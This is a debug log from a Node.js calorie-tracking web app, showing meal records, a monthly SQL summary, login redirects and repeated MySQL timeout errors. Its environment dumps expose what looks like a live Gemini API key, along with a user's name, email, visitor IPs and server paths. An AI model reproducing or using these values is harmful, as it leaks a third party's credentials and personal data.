    skip_reason: 'Excellent source of protein, calcium, and essential nutrients supporting muscle growth and overall health. Whole milk provides more calories and healthy fats, which can be beneficial for muscle development goals.'
  },
  {
    id: 386,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 121,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx 30g, providing 27g protein)',
    replacements: 'Whey protein isolate (often lower in carbs/fat than concentrate),Casein protein (slower digesting, good for sustained release)',
    created_at: '2025-12-13T12:09:16.000Z',
    skip_level: 1,
    skip_reason: "A fast-acting, high-quality protein source vital for muscle recovery and synthesis, especially beneficial for gym-goers aiming for muscle development. It's an efficient way to meet high protein requirements."
  }
]
2025-12-13T17:39:18.109Z server-connect:app Executing action step setvalue
2025-12-13T17:39:18.109Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T17:39:18.109Z server-connect:output var_total: 1882
2025-12-13T17:39:18.109Z server-connect:app Executing action step setvalue
2025-12-13T17:39:18.109Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T17:39:18.110Z server-connect:output var_consumed: 78
2025-12-13T17:39:18.110Z server-connect:app Executing action step setvalue
2025-12-13T17:39:18.110Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T17:39:18.110Z server-connect:output var_deficit: 518
2025-12-13T17:39:18.110Z server-connect:app Executing action step custom
2025-12-13T17:39:18.110Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T17:39:18.110Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T17:39:18.111Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  }
]
2025-12-13T18:08:16.815Z server-connect:router Serving templateView /
2025-12-13T18:08:16.816Z server-connect:app Executing action step identify
2025-12-13T18:08:16.816Z server-connect:app options: { provider: 'security' }
2025-12-13T18:08:16.816Z server-connect:auth No login cookie found
2025-12-13T18:08:16.816Z server-connect:output identity: false
2025-12-13T18:08:16.816Z server-connect:app Executing action step restrict
2025-12-13T18:08:16.816Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T18:08:16.816Z server-connect:output restrict: undefined
2025-12-13T18:08:17.066Z server-connect:router Serving templateView /login
2025-12-13T18:08:17.066Z server-connect:app Executing action step identify
2025-12-13T18:08:17.067Z server-connect:app options: { provider: 'security' }
2025-12-13T18:08:17.067Z server-connect:auth No login cookie found
2025-12-13T18:08:17.067Z server-connect:output identity: false
2025-12-13T18:08:17.067Z server-connect:router Render template layouts/authentication
2025-12-13T18:08:17.067Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.111',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T18:08:17.066Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.111',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.111',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-13T20:41:56.863Z server-connect:router Serving templateView /
2025-12-13T20:41:56.864Z server-connect:app Executing action step identify
2025-12-13T20:41:56.864Z server-connect:app options: { provider: 'security' }
2025-12-13T20:41:56.864Z server-connect:auth No login cookie found
2025-12-13T20:41:56.864Z server-connect:output identity: false
2025-12-13T20:41:56.864Z server-connect:app Executing action step restrict
2025-12-13T20:41:56.864Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T20:41:56.865Z server-connect:output restrict: undefined
2025-12-13T20:41:57.110Z server-connect:router Serving templateView /login
2025-12-13T20:41:57.110Z server-connect:app Executing action step identify
2025-12-13T20:41:57.110Z server-connect:app options: { provider: 'security' }
2025-12-13T20:41:57.110Z server-connect:auth No login cookie found
2025-12-13T20:41:57.110Z server-connect:output identity: false
2025-12-13T20:41:57.110Z server-connect:router Render template layouts/authentication
2025-12-13T20:41:57.110Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.228',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T20:41:57.109Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.228',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.228',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-13T20:47:03.660Z server-connect:router Serving templateView /
2025-12-13T20:47:03.661Z server-connect:app Executing action step identify
2025-12-13T20:47:03.661Z server-connect:app options: { provider: 'security' }
2025-12-13T20:47:03.661Z server-connect:auth No login cookie found
2025-12-13T20:47:03.661Z server-connect:output identity: false
2025-12-13T20:47:03.661Z server-connect:app Executing action step restrict
2025-12-13T20:47:03.661Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T20:47:03.661Z server-connect:output restrict: undefined
2025-12-13T20:47:03.791Z server-connect:router Serving templateView /login
2025-12-13T20:47:03.791Z server-connect:app Executing action step identify
2025-12-13T20:47:03.792Z server-connect:app options: { provider: 'security' }
2025-12-13T20:47:03.792Z server-connect:auth No login cookie found
2025-12-13T20:47:03.792Z server-connect:output identity: false
2025-12-13T20:47:03.792Z server-connect:router Render template layouts/authentication
2025-12-13T20:47:03.792Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '149.57.180.35',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T20:47:03.791Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '149.57.180.35',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '149.57.180.35',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 20:49:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 20:49:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 22:43:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 22:43:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 23:28:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 23:28:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 23:30:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 23:30:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 01:28:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 01:28:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 03:43:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 03:43:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 03:49:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 03:49:41' as DATETIME)"
}
2025-12-14T04:27:05.339Z server-connect:router Serving templateView /
2025-12-14T04:27:05.340Z server-connect:app Executing action step identify
2025-12-14T04:27:05.340Z server-connect:app options: { provider: 'security' }
2025-12-14T04:27:05.340Z server-connect:auth No login cookie found
2025-12-14T04:27:05.340Z server-connect:output identity: false
2025-12-14T04:27:05.340Z server-connect:app Executing action step restrict
2025-12-14T04:27:05.340Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T04:27:05.341Z server-connect:output restrict: undefined
2025-12-14T04:27:05.389Z server-connect:router Serving templateView /login
2025-12-14T04:27:05.390Z server-connect:app Executing action step identify
2025-12-14T04:27:05.390Z server-connect:app options: { provider: 'security' }
2025-12-14T04:27:05.390Z server-connect:auth No login cookie found
2025-12-14T04:27:05.390Z server-connect:output identity: false
2025-12-14T04:27:05.390Z server-connect:router Render template layouts/authentication
2025-12-14T04:27:05.390Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
